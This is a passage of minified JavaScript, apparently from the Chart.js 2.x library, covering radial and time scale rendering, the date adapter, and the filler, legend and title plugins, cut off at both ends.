i,a=e.ctx,o=t.circular,s=e.chart.data.labels.length,l=Dn(t.color,r-1),u=Dn(t.lineWidth,r-1);if((o||s)&&l&&u){if(a.save(),a.strokeStyle=l,a.lineWidth=u,a.setLineDash&&(a.setLineDash(t.borderDash||[]),a.lineDashOffset=t.borderDashOffset||0),a.beginPath(),o)a.arc(e.xCenter,e.yCenter,n,0,2*Math.PI);else{i=e.getPointPosition(0,n),a.moveTo(i.x,i.y);for(var c=1;c<s;c++)i=e.getPointPosition(c,n),a.lineTo(i.x,i.y)}a.closePath(),a.stroke(),a.restore()}}(r,o,t,n))})),s.display&&l&&u){for(i.save(),i.lineWidth=l,i.strokeStyle=u,i.setLineDash&&(i.setLineDash(In([s.borderDash,o.borderDash,[]])),i.lineDashOffset=In([s.borderDashOffset,o.borderDashOffset,0])),e=r.chart.data.labels.length-1;e>=0;e--)t=r.getDistanceFromCenterForValue(a.ticks.reverse?r.min:r.max),n=r.getPointPosition(e,t),i.beginPath(),i.moveTo(r.xCenter,r.yCenter),i.lineTo(n.x,n.y),i.stroke();i.restore()}},_drawLabels:function(){var e=this,t=e.ctx,n=e.options.ticks;if(n.display){var r,i,a=e.getIndexAngle(0),o=B.options._parseFont(n),s=zn(n.fontColor,I.global.defaultFontColor);t.save(),t.font=o.string,t.translate(e.xCenter,e.yCenter),t.rotate(a),t.textAlign="center",t.textBaseline="middle",B.each(e.ticks,(function(a,l){(0!==l||n.reverse)&&(r=e.getDistanceFromCenterForValue(e.ticksAsNumbers[l]),n.showLabelBackdrop&&(i=t.measureText(a).width,t.fillStyle=n.backdropColor,t.fillRect(-i/2-n.backdropPaddingX,-r-o.size/2-n.backdropPaddingY,i+2*n.backdropPaddingX,o.size+2*n.backdropPaddingY)),t.fillStyle=s,t.fillText(a,0,-r))})),t.restore()}},_drawTitle:B.noop}),qn=Rn;Wn._defaults=qn;var Yn=B._deprecated,Un=B.options.resolve,$n=B.valueOrDefault,Gn=Number.MIN_SAFE_INTEGER||-9007199254740991,Zn=Number.MAX_SAFE_INTEGER||9007199254740991,Xn={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},Kn=Object.keys(Xn);function Qn(e,t){return e-t}function Jn(e){return B.valueOrDefault(e.time.min,e.ticks.min)}function er(e){return B.valueOrDefault(e.time.max,e.ticks.max)}function tr(e,t,n,r){var i=function(e,t,n){for(var r,i,a,o=0,s=e.length-1;o>=0&&o<=s;){if(i=e[(r=o+s>>1)-1]||null,a=e[r],!i)return{lo:null,hi:a};if(a[t]<n)o=r+1;else{if(!(i[t]>n))return{lo:i,hi:a};s=r-1}}return{lo:a,hi:null}}(e,t,n),a=i.lo?i.hi?i.lo:e[e.length-2]:e[0],o=i.lo?i.hi?i.hi:e[e.length-1]:e[1],s=o[t]-a[t],l=s?(n-a[t])/s:0,u=(o[r]-a[r])*l;return a[r]+u}function nr(e,t){var n=e._adapter,r=e.options.time,i=r.parser,a=i||r.format,o=t;return"function"===typeof i&&(o=i(o)),B.isFinite(o)||(o="string"===typeof a?n.parse(o,a):n.parse(o)),null!==o?+o:(i||"function"!==typeof a||(o=a(t),B.isFinite(o)||(o=n.parse(o))),o)}function rr(e,t){if(B.isNullOrUndef(t))return null;var n=e.options.time,r=nr(e,e.getRightValue(t));return null===r||n.round&&(r=+e._adapter.startOf(r,n.round)),r}function ir(e,t,n,r){var i,a,o,s=Kn.length;for(i=Kn.indexOf(e);i<s-1;++i)if(o=(a=Xn[Kn[i]]).steps?a.steps:Zn,a.common&&Math.ceil((n-t)/(o*a.size))<=r)return Kn[i];return Kn[s-1]}function ar(e,t,n){var r,i,a=[],o={},s=t.length;for(r=0;r<s;++r)o[i=t[r]]=r,a.push({value:i,major:!1});return 0!==s&&n?function(e,t,n,r){var i,a,o=e._adapter,s=+o.startOf(t[0].value,r),l=t[t.length-1].value;for(i=s;i<=l;i=+o.add(i,1,r))(a=n[i])>=0&&(t[a].major=!0);return t}(e,a,o,n):a}var or=mn.extend({initialize:function(){this.mergeTicksOptions(),mn.prototype.initialize.call(this)},update:function(){var e=this,t=e.options,n=t.time||(t.time={}),r=e._adapter=new Jt._date(t.adapters.date);return Yn("time scale",n.format,"time.format","time.parser"),Yn("time scale",n.min,"time.min","ticks.min"),Yn("time scale",n.max,"time.max","ticks.max"),B.mergeIf(n.displayFormats,r.formats()),mn.prototype.update.apply(e,arguments)},getRightValue:function(e){return e&&void 0!==e.t&&(e=e.t),mn.prototype.getRightValue.call(this,e)},determineDataLimits:function(){var e,t,n,r,i,a,o,s=this,l=s.chart,u=s._adapter,c=s.options,f=c.time.unit||"day",h=Zn,d=Gn,p=[],m=[],v=[],g=s._getLabels();for(e=0,n=g.length;e<n;++e)v.push(rr(s,g[e]));for(e=0,n=(l.data.datasets||[]).length;e<n;++e)if(l.isDatasetVisible(e))if(i=l.data.datasets[e].data,B.isObject(i[0]))for(m[e]=[],t=0,r=i.length;t<r;++t)a=rr(s,i[t]),p.push(a),m[e][t]=a;else m[e]=v.slice(0),o||(p=p.concat(v),o=!0);else m[e]=[];v.length&&(h=Math.min(h,v[0]),d=Math.max(d,v[v.length-1])),p.length&&(p=n>1?function(e){var t,n,r,i={},a=[];for(t=0,n=e.length;t<n;++t)i[r=e[t]]||(i[r]=!0,a.push(r));return a}(p).sort(Qn):p.sort(Qn),h=Math.min(h,p[0]),d=Math.max(d,p[p.length-1])),h=rr(s,Jn(c))||h,d=rr(s,er(c))||d,h=h===Zn?+u.startOf(Date.now(),f):h,d=d===Gn?+u.endOf(Date.now(),f)+1:d,s.min=Math.min(h,d),s.max=Math.max(h+1,d),s._table=[],s._timestamps={data:p,datasets:m,labels:v}},buildTicks:function(){var e,t,n,r=this,i=r.min,a=r.max,o=r.options,s=o.ticks,l=o.time,u=r._timestamps,c=[],f=r.getLabelCapacity(i),h=s.source,d=o.distribution;for(u="data"===h||"auto"===h&&"series"===d?u.data:"labels"===h?u.labels:function(e,t,n,r){var i,a=e._adapter,o=e.options,s=o.time,l=s.unit||ir(s.minUnit,t,n,r),u=Un([s.stepSize,s.unitStepSize,1]),c="week"===l&&s.isoWeekday,f=t,h=[];if(c&&(f=+a.startOf(f,"isoWeek",c)),f=+a.startOf(f,c?"day":l),a.diff(n,t,l)>1e5*u)throw t+" and "+n+" are too far apart with stepSize of "+u+" "+l;for(i=f;i<n;i=+a.add(i,u,l))h.push(i);return i!==n&&"ticks"!==o.bounds||h.push(i),h}(r,i,a,f),"ticks"===o.bounds&&u.length&&(i=u[0],a=u[u.length-1]),i=rr(r,Jn(o))||i,a=rr(r,er(o))||a,e=0,t=u.length;e<t;++e)(n=u[e])>=i&&n<=a&&c.push(n);return r.min=i,r.max=a,r._unit=l.unit||(s.autoSkip?ir(l.minUnit,r.min,r.max,f):function(e,t,n,r,i){var a,o;for(a=Kn.length-1;a>=Kn.indexOf(n);a--)if(o=Kn[a],Xn[o].common&&e._adapter.diff(i,r,o)>=t-1)return o;return Kn[n?Kn.indexOf(n):0]}(r,c.length,l.minUnit,r.min,r.max)),r._majorUnit=s.major.enabled&&"year"!==r._unit?function(e){for(var t=Kn.indexOf(e)+1,n=Kn.length;t<n;++t)if(Xn[Kn[t]].common)return Kn[t]}(r._unit):void 0,r._table=function(e,t,n,r){if("linear"===r||!e.length)return[{time:t,pos:0},{time:n,pos:1}];var i,a,o,s,l,u=[],c=[t];for(i=0,a=e.length;i<a;++i)(s=e[i])>t&&s<n&&c.push(s);for(c.push(n),i=0,a=c.length;i<a;++i)l=c[i+1],o=c[i-1],s=c[i],void 0!==o&&void 0!==l&&Math.round((l+o)/2)===s||u.push({time:s,pos:i/(a-1)});return u}(r._timestamps.data,i,a,d),r._offsets=function(e,t,n,r,i){var a,o,s=0,l=0;return i.offset&&t.length&&(a=tr(e,"time",t[0],"pos"),s=1===t.length?1-a:(tr(e,"time",t[1],"pos")-a)/2,o=tr(e,"time",t[t.length-1],"pos"),l=1===t.length?o:(o-tr(e,"time",t[t.length-2],"pos"))/2),{start:s,end:l,factor:1/(s+1+l)}}(r._table,c,0,0,o),s.reverse&&c.reverse(),ar(r,c,r._majorUnit)},getLabelForIndex:function(e,t){var n=this,r=n._adapter,i=n.chart.data,a=n.options.time,o=i.labels&&e<i.labels.length?i.labels[e]:"",s=i.datasets[t].data[e];return B.isObject(s)&&(o=n.getRightValue(s)),a.tooltipFormat?r.format(nr(n,o),a.tooltipFormat):"string"===typeof o?o:r.format(nr(n,o),a.displayFormats.datetime)},tickFormatFunction:function(e,t,n,r){var i=this._adapter,a=this.options,o=a.time.displayFormats,s=o[this._unit],l=this._majorUnit,u=o[l],c=n[t],f=a.ticks,h=l&&u&&c&&c.major,d=i.format(e,r||(h?u:s)),p=h?f.major:f.minor,m=Un([p.callback,p.userCallback,f.callback,f.userCallback]);return m?m(d,t,n):d},convertTicksToLabels:function(e){var t,n,r=[];for(t=0,n=e.length;t<n;++t)r.push(this.tickFormatFunction(e[t].value,t,e));return r},getPixelForOffset:function(e){var t=this._offsets,n=tr(this._table,"time",e,"pos");return this.getPixelForDecimal((t.start+n)*t.factor)},getPixelForValue:function(e,t,n){var r=null;if(void 0!==t&&void 0!==n&&(r=this._timestamps.datasets[n][t]),null===r&&(r=rr(this,e)),null!==r)return this.getPixelForOffset(r)},getPixelForTick:function(e){var t=this.getTicks();return e>=0&&e<t.length?this.getPixelForOffset(t[e].value):null},getValueForPixel:function(e){var t=this._offsets,n=this.getDecimalForPixel(e)/t.factor-t.end,r=tr(this._table,"pos",n,"time");return this._adapter._create(r)},_getLabelSize:function(e){var t=this.options.ticks,n=this.ctx.measureText(e).width,r=B.toRadians(this.isHorizontal()?t.maxRotation:t.minRotation),i=Math.cos(r),a=Math.sin(r),o=$n(t.fontSize,I.global.defaultFontSize);return{w:n*i+o*a,h:n*a+o*i}},getLabelWidth:function(e){return this._getLabelSize(e).w},getLabelCapacity:function(e){var t=this,n=t.options.time,r=n.displayFormats,i=r[n.unit]||r.millisecond,a=t.tickFormatFunction(e,0,ar(t,[e],t._majorUnit),i),o=t._getLabelSize(a),s=Math.floor(t.isHorizontal()?t.width/o.w:t.height/o.h);return t.options.offset&&s--,s>0?s:1}}),sr={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};or._defaults=sr;var lr={category:gn,linear:Sn,logarithmic:Pn,radialLinear:Wn,time:or},ur={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};Jt._date.override("function"===typeof e?{_id:"moment",formats:function(){return ur},parse:function(t,n){return"string"===typeof t&&"string"===typeof n?t=e(t,n):t instanceof e||(t=e(t)),t.isValid()?t.valueOf():null},format:function(t,n){return e(t).format(n)},add:function(t,n,r){return e(t).add(n,r).valueOf()},diff:function(t,n,r){return e(t).diff(e(n),r)},startOf:function(t,n,r){return t=e(t),"isoWeek"===n?t.isoWeekday(r).valueOf():t.startOf(n).valueOf()},endOf:function(t,n){return e(t).endOf(n).valueOf()},_create:function(t){return e(t)}}:{}),I._set("global",{plugins:{filler:{propagate:!0}}});var cr={dataset:function(e){var t=e.fill,n=e.chart,r=n.getDatasetMeta(t),i=r&&n.isDatasetVisible(t)&&r.dataset._children||[],a=i.length||0;return a?function(e,t){return t<a&&i[t]._view||null}:null},boundary:function(e){var t=e.boundary,n=t?t.x:null,r=t?t.y:null;return B.isArray(t)?function(e,n){return t[n]}:function(e){return{x:null===n?e.x:n,y:null===r?e.y:r}}}};function fr(e,t,n){var r,i=e._model||{},a=i.fill;if(void 0===a&&(a=!!i.backgroundColor),!1===a||null===a)return!1;if(!0===a)return"origin";if(r=parseFloat(a,10),isFinite(r)&&Math.floor(r)===r)return"-"!==a[0]&&"+"!==a[0]||(r=t+r),!(r===t||r<0||r>=n)&&r;switch(a){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return a;default:return!1}}function hr(e){return(e.el._scale||{}).getPointPositionForValue?function(e){var t,n,r,i,a,o=e.el._scale,s=o.options,l=o.chart.data.labels.length,u=e.fill,c=[];if(!l)return null;for(t=s.ticks.reverse?o.max:o.min,n=s.ticks.reverse?o.min:o.max,r=o.getPointPositionForValue(0,t),i=0;i<l;++i)a="start"===u||"end"===u?o.getPointPositionForValue(i,"start"===u?t:n):o.getBasePosition(i),s.gridLines.circular&&(a.cx=r.x,a.cy=r.y,a.angle=o.getIndexAngle(i)-Math.PI/2),c.push(a);return c}(e):function(e){var t,n=e.el._model||{},r=e.el._scale||{},i=e.fill,a=null;if(isFinite(i))return null;if("start"===i?a=void 0===n.scaleBottom?r.bottom:n.scaleBottom:"end"===i?a=void 0===n.scaleTop?r.top:n.scaleTop:void 0!==n.scaleZero?a=n.scaleZero:r.getBasePixel&&(a=r.getBasePixel()),void 0!==a&&null!==a){if(void 0!==a.x&&void 0!==a.y)return a;if(B.isFinite(a))return{x:(t=r.isHorizontal())?a:null,y:t?null:a}}return null}(e)}function dr(e,t,n){var r,i=e[t].fill,a=[t];if(!n)return i;for(;!1!==i&&-1===a.indexOf(i);){if(!isFinite(i))return i;if(!(r=e[i]))return!1;if(r.visible)return i;a.push(i),i=r.fill}return!1}function pr(e){var t=e.fill,n="dataset";return!1===t?null:(isFinite(t)||(n="boundary"),cr[n](e))}function mr(e){return e&&!e.skip}function vr(e,t,n,r,i){var a,o,s,l;if(r&&i){for(e.moveTo(t[0].x,t[0].y),a=1;a<r;++a)B.canvas.lineTo(e,t[a-1],t[a]);if(void 0===n[0].angle)for(e.lineTo(n[i-1].x,n[i-1].y),a=i-1;a>0;--a)B.canvas.lineTo(e,n[a],n[a-1],!0);else for(o=n[0].cx,s=n[0].cy,l=Math.sqrt(Math.pow(n[0].x-o,2)+Math.pow(n[0].y-s,2)),a=i-1;a>0;--a)e.arc(o,s,l,n[a].angle,n[a-1].angle,!0)}}function gr(e,t,n,r,i,a){var o,s,l,u,c,f,h,d,p=t.length,m=r.spanGaps,v=[],g=[],y=0,b=0;for(e.beginPath(),o=0,s=p;o<s;++o)c=n(u=t[l=o%p]._view,l,r),f=mr(u),h=mr(c),a&&void 0===d&&f&&(s=p+(d=o+1)),f&&h?(y=v.push(u),b=g.push(c)):y&&b&&(m?(f&&v.push(u),h&&g.push(c)):(vr(e,v,g,y,b),y=b=0,v=[],g=[]));vr(e,v,g,y,b),e.closePath(),e.fillStyle=i,e.fill()}var yr={id:"filler",afterDatasetsUpdate:function(e,t){var n,r,i,a,o=(e.data.datasets||[]).length,s=t.propagate,l=[];for(r=0;r<o;++r)a=null,(i=(n=e.getDatasetMeta(r)).dataset)&&i._model&&i instanceof xe.Line&&(a={visible:e.isDatasetVisible(r),fill:fr(i,r,o),chart:e,el:i}),n.$filler=a,l.push(a);for(r=0;r<o;++r)(a=l[r])&&(a.fill=dr(l,r,s),a.boundary=hr(a),a.mapper=pr(a))},beforeDatasetsDraw:function(e){var t,n,r,i,a,o,s,l=e._getSortedVisibleDatasetMetas(),u=e.ctx;for(n=l.length-1;n>=0;--n)(t=l[n].$filler)&&t.visible&&(i=(r=t.el)._view,a=r._children||[],o=t.mapper,s=i.backgroundColor||I.global.defaultColor,o&&s&&a.length&&(B.canvas.clipArea(u,e.chartArea),gr(u,a,o,i,s,r._loop),B.canvas.unclipArea(u)))}},br=B.rtl.getRtlAdapter,xr=B.noop,wr=B.valueOrDefault;function kr(e,t){return e.usePointStyle&&e.boxWidth>t?t:e.boxWidth}I._set("global",{legend:{display:!0,position:"top",align:"center",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(e,t){var n=t.datasetIndex,r=this.chart,i=r.getDatasetMeta(n);i.hidden=null===i.hidden?!r.data.datasets[n].hidden:null,r.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(e){var t=e.data.datasets,n=e.options.legend||{},r=n.labels&&n.labels.usePointStyle;return e._getSortedDatasetMetas().map((function(n){var i=n.controller.getStyle(r?0:void 0);return{text:t[n.index].label,fillStyle:i.backgroundColor,hidden:!e.isDatasetVisible(n.index),lineCap:i.borderCapStyle,lineDash:i.borderDash,lineDashOffset:i.borderDashOffset,lineJoin:i.borderJoinStyle,lineWidth:i.borderWidth,strokeStyle:i.borderColor,pointStyle:i.pointStyle,rotation:i.rotation,datasetIndex:n.index}}),this)}}},legendCallback:function(e){var t,n,r,i=document.createElement("ul"),a=e.data.datasets;for(i.setAttribute("class",e.id+"-legend"),t=0,n=a.length;t<n;t++)(r=i.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=a[t].backgroundColor,a[t].label&&r.appendChild(document.createTextNode(a[t].label));return i.outerHTML}});var _r=$.extend({initialize:function(e){B.extend(this,e),this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1},beforeUpdate:xr,update:function(e,t,n){var r=this;return r.beforeUpdate(),r.maxWidth=e,r.maxHeight=t,r.margins=n,r.beforeSetDimensions(),r.setDimensions(),r.afterSetDimensions(),r.beforeBuildLabels(),r.buildLabels(),r.afterBuildLabels(),r.beforeFit(),r.fit(),r.afterFit(),r.afterUpdate(),r.minSize},afterUpdate:xr,beforeSetDimensions:xr,setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0,e.minSize={width:0,height:0}},afterSetDimensions:xr,beforeBuildLabels:xr,buildLabels:function(){var e=this,t=e.options.labels||{},n=B.callback(t.generateLabels,[e.chart],e)||[];t.filter&&(n=n.filter((function(n){return t.filter(n,e.chart.data)}))),e.options.reverse&&n.reverse(),e.legendItems=n},afterBuildLabels:xr,beforeFit:xr,fit:function(){var e=this,t=e.options,n=t.labels,r=t.display,i=e.ctx,a=B.options._parseFont(n),o=a.size,s=e.legendHitBoxes=[],l=e.minSize,u=e.isHorizontal();if(u?(l.width=e.maxWidth,l.height=r?10:0):(l.width=r?10:0,l.height=e.maxHeight),r){if(i.font=a.string,u){var c=e.lineWidths=[0],f=0;i.textAlign="left",i.textBaseline="middle",B.each(e.legendItems,(function(e,t){var r=kr(n,o)+o/2+i.measureText(e.text).width;(0===t||c[c.length-1]+r+2*n.padding>l.width)&&(f+=o+n.padding,c[c.length-(t>0?0:1)]=0),s[t]={left:0,top:0,width:r,height:o},c[c.length-1]+=r+n.padding})),l.height+=f}else{var h=n.padding,d=e.columnWidths=[],p=e.columnHeights=[],m=n.padding,v=0,g=0;B.each(e.legendItems,(function(e,t){var r=kr(n,o)+o/2+i.measureText(e.text).width;t>0&&g+o+2*h>l.height&&(m+=v+n.padding,d.push(v),p.push(g),v=0,g=0),v=Math.max(v,r),g+=o+h,s[t]={left:0,top:0,width:r,height:o}})),m+=v,d.push(v),p.push(g),l.width+=m}e.width=l.width,e.height=l.height}else e.width=l.width=e.height=l.height=0},afterFit:xr,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var e=this,t=e.options,n=t.labels,r=I.global,i=r.defaultColor,a=r.elements.line,o=e.height,s=e.columnHeights,l=e.width,u=e.lineWidths;if(t.display){var c,f=br(t.rtl,e.left,e.minSize.width),h=e.ctx,d=wr(n.fontColor,r.defaultFontColor),p=B.options._parseFont(n),m=p.size;h.textAlign=f.textAlign("left"),h.textBaseline="middle",h.lineWidth=.5,h.strokeStyle=d,h.fillStyle=d,h.font=p.string;var v=kr(n,m),g=e.legendHitBoxes,y=function(e,r){switch(t.align){case"start":return n.padding;case"end":return e-r;default:return(e-r+n.padding)/2}},b=e.isHorizontal();c=b?{x:e.left+y(l,u[0]),y:e.top+n.padding,line:0}:{x:e.left+n.padding,y:e.top+y(o,s[0]),line:0},B.rtl.overrideTextDirection(e.ctx,t.textDirection);var x=m+n.padding;B.each(e.legendItems,(function(t,r){var d=h.measureText(t.text).width,p=v+m/2+d,w=c.x,k=c.y;f.setWidth(e.minSize.width),b?r>0&&w+p+n.padding>e.left+e.minSize.width&&(k=c.y+=x,c.line++,w=c.x=e.left+y(l,u[c.line])):r>0&&k+x>e.top+e.minSize.height&&(w=c.x=w+e.columnWidths[c.line]+n.padding,c.line++,k=c.y=e.top+y(o,s[c.line]));var _=f.x(w);!function(e,t,r){if(!(isNaN(v)||v<=0)){h.save();var o=wr(r.lineWidth,a.borderWidth);if(h.fillStyle=wr(r.fillStyle,i),h.lineCap=wr(r.lineCap,a.borderCapStyle),h.lineDashOffset=wr(r.lineDashOffset,a.borderDashOffset),h.lineJoin=wr(r.lineJoin,a.borderJoinStyle),h.lineWidth=o,h.strokeStyle=wr(r.strokeStyle,i),h.setLineDash&&h.setLineDash(wr(r.lineDash,a.borderDash)),n&&n.usePointStyle){var s=v*Math.SQRT2/2,l=f.xPlus(e,v/2),u=t+m/2;B.canvas.drawPoint(h,r.pointStyle,s,l,u,r.rotation)}else h.fillRect(f.leftForLtr(e,v),t,v,m),0!==o&&h.strokeRect(f.leftForLtr(e,v),t,v,m);h.restore()}}(_,k,t),g[r].left=f.leftForLtr(_,g[r].width),g[r].top=k,function(e,t,n,r){var i=m/2,a=f.xPlus(e,v+i),o=t+i;h.fillText(n.text,a,o),n.hidden&&(h.beginPath(),h.lineWidth=2,h.moveTo(a,o),h.lineTo(f.xPlus(a,r),o),h.stroke())}(_,k,t,d),b?c.x+=p+n.padding:c.y+=x})),B.rtl.restoreTextDirection(e.ctx,t.textDirection)}},_getLegendItemAt:function(e,t){var n,r,i,a=this;if(e>=a.left&&e<=a.right&&t>=a.top&&t<=a.bottom)for(i=a.legendHitBoxes,n=0;n<i.length;++n)if(e>=(r=i[n]).left&&e<=r.left+r.width&&t>=r.top&&t<=r.top+r.height)return a.legendItems[n];return null},handleEvent:function(e){var t,n=this,r=n.options,i="mouseup"===e.type?"click":e.type;if("mousemove"===i){if(!r.onHover&&!r.onLeave)return}else{if("click"!==i)return;if(!r.onClick)return}t=n._getLegendItemAt(e.x,e.y),"click"===i?t&&r.onClick&&r.onClick.call(n,e.native,t):(r.onLeave&&t!==n._hoveredItem&&(n._hoveredItem&&r.onLeave.call(n,e.native,n._hoveredItem),n._hoveredItem=t),r.onHover&&t&&r.onHover.call(n,e.native,t))}});function Mr(e,t){var n=new _r({ctx:e.ctx,options:t,chart:e});dt.configure(e,n,t),dt.addBox(e,n),e.legend=n}var Sr={id:"legend",_element:_r,beforeInit:function(e){var t=e.options.legend;t&&Mr(e,t)},beforeUpdate:function(e){var t=e.options.legend,n=e.legend;t?(B.mergeIf(t,I.global.legend),n?(dt.configure(e,n,t),n.options=t):Mr(e,t)):n&&(dt.removeBox(e,n),delete e.legend)},afterEvent:function(e,t){var n=e.legend;n&&n.handleEvent(t)}},Tr=B.noop;I._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var Or=$.extend({initialize:function(e){B.extend(this,e),this.legendHitBoxes=[]},beforeUpdate:Tr,update:function(e,t,n){var r=this;return r.beforeUpdate(),r.maxWidth=e,r.maxHeight=t,r.margins=n,r.beforeSetDimensions(),r.setDimensions(),r.afterSetDimensions(),r.beforeBuildLabels(),r.buildLabels(),r.afterBuildLabels(),r.beforeFit(),r.fit(),r.afterFit(),r.afterUpdate(),r.minSize},afterUpdate:Tr,beforeSetDimensions:Tr,setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0,e.minSize={width:0,height:0}},afterSetDimensions:Tr,beforeBuildLabels:Tr,buildLabels:Tr,afterBuildLabels:Tr,beforeFit:Tr,fit:function(){var e,t=this,n=t.options,r=t.minSize={},i=t.isHorizontal();n.display?(e=(B.isArray(n.text)?n.text.length:1)*B.options._parseFont(n).lineHeight+2*n.padding,t.width=r.width=i?t.maxWidth:e,t.height=r.height=i?e:t.maxHeight):t.width=r.width=t.height=r.height=0},afterFit:Tr,isHorizontal:function(){var e=this.options.position;return"top"===e||"bottom"===e},draw:function(){var e=this,t=e.ctx,n=e.options;if(n.display){var r,i,a,o=B.options._parseFont(n),s=o.lineHeight,l=s/2+n.padding,u=0,c=e.top,f=e.left,h=e.bottom,d=e.right;t.fillStyle=B.valueOrDefault(n.fontColor,I.global.defaultFontColor),t.font=o.string,e.isHorizontal()?(i=f+(d-f)/2,a=c+l,r=d-f):(i="left"===n.position?f+l:d-l,a=c+(h-c)/2,r=h-c,u=Math.PI*("left"===n.position?-.5:.5)),t.save(),t.translate(i,a),t.rotate(u),t.textAlign="center",t.textBaseline="middle";var p=n.text;if(B.isArray(p))for(var m=0,v=0;v<p.length;++v)t.fillText(p[v],0,m,r),m+=s;else t.fillText(p,0,0,r);t.restore()}}});function Er(e,t){var n=new Or({ctx:e.ctx,options:t,chart:e});dt.configure(e,n,t),dt.addBox(e,n),e.titleBlock=n}var Cr={},Nr=yr,Pr=Sr,Ar={id:"title",_element:Or,beforeInit:function(e){var t=e.options.title;t&&Er(e,t)},beforeUpdate:function(e){var t=e.options.title,n=e.titleBlock;t?(B.mergeIf(t,I.global.title),n?(dt.configure(e,n,t),n.options=t):Er(e,t)):n&&(dt.removeBox(e,n),delete e.titleBlock)}};for(var zr in Cr.filler=Nr,Cr.legend=Pr,Cr.title=Ar,Xt.helpers=B,function(){function e(e,t,n){var r;return"string"===typeof e?(r=parseInt(e,10),-1!==e.indexOf("%")&&(r=r/100*t.parentNode[n])):r=e,r}function t(e){return void 0!==e&&null!==e&&"none"!==e}function n(n,r,i){var a=document.defaultView,o=B._getParentNode(n),s=a.getComputedStyle(n)[r],l=a.getComputedStyle(o)[r],u=t(s),c=t(l),f=Number.POSITIVE_INFINITY;return u||c?Math.min(u?e(s,n,i):f,c?e(l,o,i):f):"none"}B.where=function(e,t){if(B.isArray(e)&&Array.prototype.filter)return e.filter(t);var n=[];return B.each(e,(function(e){t(e)&&n.push(e)})),n},B.findIndex=Array.prototype.findIndex?function(e,t,n){return e.findIndex(t,n)}:function(e,t,n){n=void 0===n?e:n;for(var r=0,i=e.length;r<i;++r)if(t.call(n,e[r],r,e))return r;return-1},B.findNextWhere=function(e,t,n){B.isNullOrUndef(n)&&(n=-1);for(var r=n+1;r<e.length;r++){var i=e[r];if(t(i))return i}},B.findPreviousWhere=function(e,t,n){B.isNullOrUndef(n)&&(n=e.length);for(var r=n-1;r>=0;r--){var i=e[r];if(t(i))return i}},B.isNumber=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},B.almostEquals=function(e,t,n){return Math.abs(e-t)<n},B.almostWhole=function(e,t){var n=Math.round(e);return n-t<=e&&n+t>=e},B.max=function(e){return e.reduce((function(e,t){return isNaN(t)?e:Math.max(e,t)}),Number.NEGATIVE_INFINITY)},B.min=function(e){return e.reduce((function(e,t){return isNaN(t)?e:Math.min(e,t)}),Number.POSITIVE_INFINITY)},B.sign=Math.sign?function(e){return Math.sign(e)}:function(e){return 0===(e=+e)||isNaN(e)?e:e>0?1:-1},B.toRadians=function(e){return e*(Math.PI/180)},B.toDegrees=function(e){return e*(180/Math.PI)},B._decimalPlaces=function(e){if(B.isFinite(e)){for(var t=1,n=0;Math.round(e*t)/t!==e;)t*=10,n++;return n}},B.getAngleFromPoint=function(e,t){var n=t.x-e.x,r=t.y-e.y,i=Math.sqrt(n*n+r*r),a=Math.atan2(r,n);return a<-.5*Math.PI&&(a+=2*Math.PI),{angle:a,distance:i}},B.distanceBetweenPoints=function(e,t){return Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2))},B.aliasPixel=function(e){return e%2===0?0:.5},B._alignPixel=function(e,t,n){var r=e.currentDevicePixelRatio,i=n/2;return Math.round((t-i)*r)/r+i},B.splineCurve=function(e,t,n,r){var i=e.skip?t:e,a=t,o=n.skip?t:n,s=Math.sqrt(Math.pow(a.x-i.x,2)+Math.pow(a.y-i.y,2)),l=Math.sqrt(Math.pow(o.x-a.x,2)+Math.pow(o.y-a.y,2)),u=s/(s+l),c=l/(s+l),f=r*(u=isNaN(u)?0:u),h=r*(c=isNaN(c)?0:c);return{previous:{x:a.x-f*(o.x-i.x),y:a.y-f*(o.y-i.y)},next:{x:a.x+h*(o.x-i.x),y:a.y+h*(o.y-i.y)}}},B.EPSILON=Number.EPSILON||1e-14,B.splineCurveMonotone=function(e){var t,n,r,i,a,o,s,l,u,c=(e||[]).map((function(e){return{model:e._model,deltaK:0,mK:0}})),f=c.length;for(t=0;t<f;++t)if(!(r=c[t]).model.skip){if(n=t>0?c[t-1]:null,(i=t<f-1?c[t+1]:null)&&!i.model.skip){var 